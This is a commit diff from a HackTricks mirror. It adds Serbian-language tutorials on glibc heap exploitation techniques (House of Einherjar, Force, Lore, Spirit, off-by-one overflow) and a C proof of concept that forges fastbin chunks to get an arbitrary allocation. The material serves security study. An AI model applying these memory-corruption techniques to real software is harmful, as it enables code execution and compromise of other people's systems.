mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['binary-exploitation/heap/heap-functions-security-checks.md'
This commit is contained in:
parent
e10fbbbbe1
commit
c0f2bcb031
12 changed files with 514 additions and 120 deletions
BIN
.gitbook/assets/image (1245).png
Normal file
BIN
.gitbook/assets/image (1245).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 96 KiB |
BIN
.gitbook/assets/image (1246).png
Normal file
BIN
.gitbook/assets/image (1246).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 99 KiB |
BIN
.gitbook/assets/image (1247).png
Normal file
BIN
.gitbook/assets/image (1247).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 80 KiB |
|
@ -726,6 +726,12 @@
|
|||
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
||||
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
||||
* [Double Free](binary-exploitation/heap/double-free.md)
|
||||
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
|
||||
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
|
||||
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
|
||||
* [House of Lore](binary-exploitation/heap/house-of-lore.md)
|
||||
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
|
||||
* [House of Force](binary-exploitation/heap/house-of-force.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
|
|
|
@ -16,9 +16,9 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
## unlink
|
||||
|
||||
Ova funkcija uklanja deo iz dvostruko povezane liste. Uobičajene provere osiguravaju da struktura povezane liste ostane konzistentna prilikom uklanjanja delova.
|
||||
Ova funkcija uklanja deo iz dvostruko povezane liste. Uobičajene provere osiguravaju da struktura povezane liste ostane dosledna prilikom uklanjanja delova.
|
||||
|
||||
* **Provere konzistentnosti**:
|
||||
* **Provere doslednosti**:
|
||||
* Provera da li je `P->fd->bk == P` i `P->bk->fd == P`.
|
||||
* Poruka o grešci: `corrupted double-linked list`
|
||||
|
||||
|
@ -29,16 +29,16 @@ Ova funkcija je odgovorna za dodeljivanje memorije iz hipa. Provere ovde osigura
|
|||
* **Provera Veličine Fastbin-a**:
|
||||
* Prilikom uklanjanja dela iz fastbin-a, osigurajte da je veličina dela unutar opsega fastbin-a.
|
||||
* Poruka o grešci: `malloc(): memory corruption (fast)`
|
||||
* **Provera Konzistentnosti Smallbin-a**:
|
||||
* Prilikom uklanjanja dela iz smallbin-a, osigurajte da su prethodna i sledeća veza u dvostruko povezanoj listi konzistentne.
|
||||
* **Provera Doslednosti Smallbin-a**:
|
||||
* Prilikom uklanjanja dela iz smallbin-a, osigurajte da su prethodna i sledeća veza u dvostruko povezanoj listi dosledne.
|
||||
* Poruka o grešci: `malloc(): smallbin double linked list corrupted`
|
||||
* **Provera Opsega Memorije Unsorted Bin-a**:
|
||||
* Osigurajte da je veličina delova u unsorted bin-u unutar minimalnih i maksimalnih granica.
|
||||
* Poruka o grešci: `malloc(): memory corruption`
|
||||
* **Provera Konzistentnosti Unsorted Bin-a (Prvi Scenario)**:
|
||||
* Poruka o grešci: `malloc(): memory corruption | malloc(): invalid next size (unsorted)`
|
||||
* **Provera Doslednosti Unsorted Bin-a (Prvi Scenario)**:
|
||||
* Prilikom umetanja preostalog dela u unsorted bin, proverite da li je `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
||||
* Poruka o grešci: `malloc(): corrupted unsorted chunks`
|
||||
* **Provera Konzistentnosti Unsorted Bin-a (Drugi Scenario)**:
|
||||
* **Provera Doslednosti Unsorted Bin-a (Drugi Scenario)**:
|
||||
* Ista provera kao prethodna, ali aktivira se prilikom umetanja nakon deljenja brzog ili malog dela.
|
||||
* Poruka o grešci: `malloc(): corrupted unsorted chunks 2`
|
||||
|
||||
|
@ -56,13 +56,13 @@ Ova funkcija oslobađa prethodno dodeljenu memoriju. Provere ovde pomažu u osig
|
|||
* Za fastbin delove, osigurajte da je veličina sledećeg dela unutar minimalnih i maksimalnih granica.
|
||||
* Poruka o grešci: `free(): invalid next size (fast)`
|
||||
* **Provera Dvostrukog Oslobađanja Fastbin-a**:
|
||||
* Prilikom umetanja dela u fastbin, osigurajte da deo na vrhu nije isti kao deo koji se umeće.
|
||||
* Prilikom umetanja dela u fastbin, osigurajte da deo na početku nije isti kao deo koji se umeće.
|
||||
* Poruka o grešci: `double free or corruption (fasttop)`
|
||||
* **Provera Konzistentnosti Fastbin-a**:
|
||||
* **Provera Doslednosti Fastbin-a**:
|
||||
* Prilikom umetanja u fastbin, osigurajte da su veličine glavnog dela i dela koji se umeće iste.
|
||||
* Poruka o grešci: `invalid fastbin entry (free)`
|
||||
* **Provera Konzistentnosti Vrhunskog Dela**:
|
||||
* Za delove koji nisu fastbin, osigurajte da deo nije isti kao vrhunski deo.
|
||||
* **Provera Doslednosti Top Chunk-a**:
|
||||
* Za delove koji nisu fastbin, osigurajte da deo nije isti kao top chunk.
|
||||
* Poruka o grešci: `double free or corruption (top)`
|
||||
* **Provera Granica Memorije**:
|
||||
* Osigurajte da je sledeći deo po memoriji unutar granica arene.
|
||||
|
@ -73,7 +73,7 @@ Ova funkcija oslobađa prethodno dodeljenu memoriju. Provere ovde pomažu u osig
|
|||
* **Provera Normalne Veličine**:
|
||||
* Osigurajte da je veličina sledećeg dela unutar validnih opsega.
|
||||
* Poruka o grešci: `free(): invalid next size (normal)`
|
||||
* **Provera Konzistentnosti Unsorted Bin-a**:
|
||||
* **Provera Doslednosti Unsorted Bin-a**:
|
||||
* Prilikom umetanja spojenog dela u unsorted bin, proverite da li je `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
||||
* Poruka o grešci: `free(): corrupted unsorted chunks`
|
||||
|
||||
|
|
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# Kuća Einherjara
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
### Kod
|
||||
|
||||
* Proverite primer sa [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
|
||||
### Cilj
|
||||
|
||||
* Cilj je alocirati memoriju na gotovo bilo kojoj određenoj adresi.
|
||||
|
||||
### Zahtevi
|
||||
|
||||
* Greška od jednog bajta iznad zaglavlja sledećeg bloka kako bi se izmenio prethodni u upotrebi
|
||||
* Biti u mogućnosti da se izmeni podatak `prev_size`, koji je deo trenutnog bloka (na kraju)
|
||||
* Curenje hipa
|
||||
|
||||
### Napad
|
||||
|
||||
* Kreira se lažni blok unutar bloka koji kontroliše napadač, usmeravajući sa `fd` i `bk` na originalni blok kako bi se zaobišle zaštite
|
||||
* Kreiraju se još 2 bloka (`B` i `C`)
|
||||
* Iskorišćavanjem greške od jednog u bloku `B`, bit `prev in use` se čisti i podatak `prev_size` se prepisuje razlikom između mesta gde je blok `C` alociran, do lažnog bloka `A` koji je generisan pre.
|
||||
* Ovaj `prev_size` i veličina lažnog bloka `A` moraju biti isti kako bi se zaobišle provere.
|
||||
* Zatim se Tcache popunjava
|
||||
* Zatim se `C` oslobađa kako bi se konsolidovao sa lažnim blokom `A`
|
||||
* Zatim se kreira novi blok `D` koji će početi u lažnom bloku `A` i pokriti blok `B`
|
||||
* Zatim se oslobađa `B` i njegov `fd` se prepisuje na ciljnu adresu tako što se usmerava na ciljnu adresu iskorišćavajući blok `D` koji ga sadrži.
|
||||
* Zatim se vrše 2 alokacije jer će druga sadržati ciljnu adresu
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
56
binary-exploitation/heap/house-of-force.md
Normal file
56
binary-exploitation/heap/house-of-force.md
Normal file
|
@ -0,0 +1,56 @@
|
|||
# Kuća sile
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
### Kod
|
||||
|
||||
* Ova tehnika je zakrpljena ([**ovde**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) i proizvodi sledeću grešku: `malloc(): corrupted top size`
|
||||
|
||||
### Cilj
|
||||
|
||||
* Cilj ovog napada je da se može alocirati blok na određenoj adresi.
|
||||
|
||||
### Zahtevi
|
||||
|
||||
* Prekoračenje koje omogućava prepisivanje veličine zaglavlja vršnog bloka (npr. -1).
|
||||
* Biti u mogućnosti da se kontroliše veličina alociranja hipa.
|
||||
|
||||
### Napad
|
||||
|
||||
Ako napadač želi da ima blok na adresi P, nakon što je prepisao veličinu vršnog bloka sa -1, prvo je potrebno alocirati malloc od (\&top\_chunk - P). Imajte na umu da ovaj pokazivač može biti pre ili posle vršnog bloka jer će svaka veličina biti manja od -1 (0xFFFFFFFFFFFFFFFF). Zatim, nakon što se alocira ovaj početni blok, vršni blok će biti premješten na željenu adresu P i sledeći blok će biti od te adrese.
|
||||
|
||||
### Reference
|
||||
|
||||
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
61
binary-exploitation/heap/house-of-lore.md
Normal file
61
binary-exploitation/heap/house-of-lore.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# Kuća Lore
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne Informacije
|
||||
|
||||
### Kod
|
||||
|
||||
* Ovo ne radi
|
||||
* Proverite sa [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* Ili: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||
|
||||
### Cilj
|
||||
|
||||
* Ubaciti lažne male blokove u mali bin kako bi ih bilo moguće alocirati.
|
||||
|
||||
### Zahtevi
|
||||
|
||||
* Kreirati lažne blokove
|
||||
* Znati adresu žrtvenog bloka i lažnih blokova
|
||||
* Biti u mogućnosti da se modifikuju pokazivači `bk` i `fd`
|
||||
|
||||
### Napad
|
||||
|
||||
* Alociran je žrtveni mali blok
|
||||
* Napadač generiše par lažnih malih blokova, i čini da prvi lažni blok `fd` pokazuje na pravi blok i da `bk` pokazuje na drugi lažni blok. Takođe, čini da drugi lažni blok `bk` pokazuje na prvi.
|
||||
* Zatim, alociran je novi veliki blok kako bi se sprečilo da se prvi spoji sa vršnim blokom kada se oslobodi
|
||||
* Zatim, početni pokazivač je oslobođen i alociran je drugi pokazivač veće veličine kako bi oslobođeni početni mali blok bio smešten u mali bin.
|
||||
* Pravi mali blok je modifikovan tako da mu se `bk` pokazivač pokazuje na lažni blok.
|
||||
* Zatim, kada se alociraju 2 bloka ove veličine, prvo dobijaju validan blok, a zatim nevažeći blok na neki način kontrolisan od strane napadača.
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
99
binary-exploitation/heap/house-of-spirit.md
Normal file
99
binary-exploitation/heap/house-of-spirit.md
Normal file
|
@ -0,0 +1,99 @@
|
|||
# Kuća duha
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
### Kod
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kuća duha</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||
|
||||
struct fast_chunk {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
};
|
||||
|
||||
int main() {
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
|
||||
ptr = malloc(0x30);
|
||||
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
|
||||
free(ptr);
|
||||
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Cilj
|
||||
|
||||
* Biti u mogućnosti da se doda proizvoljna adresa u tcache / fast bin tako da se prilikom poziva malloc funkcije koristi u chunk-u
|
||||
|
||||
### Zahtevi
|
||||
|
||||
* Ovaj napad zahteva da napadač bude u mogućnosti da napravi nekoliko lažnih fast chunk-ova koji tačno pokazuju vrednost veličine i da prepiše fast chunk te veličine koji će biti oslobođen, tako da chunk napadača zapravo bude onaj koji ulazi u fast bin.
|
||||
|
||||
### Napad
|
||||
|
||||
* Kreirati lažni chunk koji zaobilazi sigurnosne provere (biće potrebna 2 lažna chunk-a)
|
||||
* Pre nego što se pokazivač oslobodi, prepišite ga lažnim chunk-om tako da taj ulazi u bin
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
|
@ -0,0 +1,62 @@
|
|||
# Prekoračenje za jedan bajt
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Imajući pristup prekoračenju za jedan bajt, napadaču se omogućava da modifikuje prethodne informacije o veličini metapodataka, omogućavajući manipulaciju sačuvanim chunk-ovima, konačno generišući chunk koji sadrži drugi legitimni chunk.
|
||||
|
||||
### Primer koda:
|
||||
|
||||
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
||||
* Ovaj napad više ne funkcioniše zbog korišćenja Tcaches.
|
||||
* Štaviše, ako pokušate da ga zloupotrebite koristeći veće chunk-ove (tako da Tcaches nisu uključeni), dobićete grešku: `malloc(): invalid next size (unsorted)`
|
||||
|
||||
### Cilj
|
||||
|
||||
* Postaviti chunk unutar drugog chunk-a tako da pisanje pristupa nad tim drugim chunk-om omogućava prepisivanje sadržaja sadržanog chunk-a
|
||||
|
||||
### Zahtevi
|
||||
|
||||
* Prekoračenje za jedan bajt radi modifikacije prethodnih informacija o veličini metapodataka
|
||||
|
||||
### Napad
|
||||
|
||||
* Rezervisana su 3 chunk-a memorije (a, b, c) jedan za drugim. Zatim se oslobađa srednji chunk. Prvi chunk sadrži ranjivost prekoračenja za jedan bajt i napadač je zloupotrebljava sa 0x00 (ako je prethodni bajt bio 0x10, činilo bi da srednji chunk pokazuje da je 0x10 manji nego što zaista jeste).
|
||||
* Zatim, 2 manja chunk-a se alociraju u oslobađenom srednjem chunk-u (b), međutim, pošto `b + b->size` nikada ne ažurira chunk c jer je pokazana adresa manja nego što bi trebalo. 
|
||||
* Zatim, b1 i c se oslobađaju. Pošto `c - c->prev_size` i dalje pokazuje na b (sada b1), oba se konsoliduju u jedan chunk. Međutim, b2 je i dalje unutar između b1 i c.
|
||||
* Na kraju, vrši se nova alokacija memorije koja preuzima ovu oblast memorije koja će zapravo sadržati b2, omogućavajući vlasniku nove alokacije da kontroliše sadržaj b2.
|
||||
|
||||
Ova slika savršeno objašnjava napad:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
